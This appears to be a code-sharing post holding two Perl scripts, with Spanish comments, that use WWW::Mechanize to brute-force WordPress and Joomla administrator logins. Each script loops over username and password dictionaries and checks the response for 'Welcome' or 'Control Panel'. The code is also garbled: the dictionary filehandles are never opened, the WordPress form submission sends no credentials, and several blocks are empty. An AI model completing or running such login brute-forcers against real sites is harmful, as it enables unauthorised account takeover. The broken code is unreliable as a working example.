wordpress-login.pl
Código
#!c:/strawberry/perl/bin/perl.exe #Evitar caracteres extraños en la consola de windows use WWW::Mechanize; use strict; #parámetros para el script my $url = $ARGV[0]; my $admin = $ARGV[1]; my $password = $ARGV[2]; my $reporte = $ARGV[3]; if (!@ARGV) { } else { my $mechanize = WWW::Mechanize->new(); #url de destino $mechanize->get($url); #Abrir el diccionario para admin while(<ADMIN>) { my $adm = $_; #Abrir el diccionario para password while (<PASSWORD>) { #Enviar el formulario $mechanize->submit_form ( form_id => "loginform", ); my $content = $mechanize->content; #comprobar el contenido if ($content =~ /Bienvenido/ || $content =~ /Welcome/) { if ($reporte) { } exit; } } } }
joomla-login.pl
Código
#!c:/strawberry/perl/bin/perl.exe #Evitar caracteres extraños en la consola de windows use WWW::Mechanize; use strict; #parámetros para el script my $url = $ARGV[0]; my $admin = $ARGV[1]; my $password = $ARGV[2]; my $reporte = $ARGV[3]; if (!@ARGV) { } else { my $mechanize = WWW::Mechanize->new(); #url de destino $mechanize->get($url); #Abrir el diccionario para admin while(<ADMIN>) { my $adm = $_; #Abrir el diccionario para password while (<PASSWORD>) { #Enviar el formulario $mechanize->submit_form ( form_id => "form-login", fields => {username => $adm, passwd => $_} ); my $content = $mechanize->content; #comprobar el contenido if ($content =~ /Panel de Control/ || $content =~ /Control Panel/) { if ($reporte) { } exit; } } } }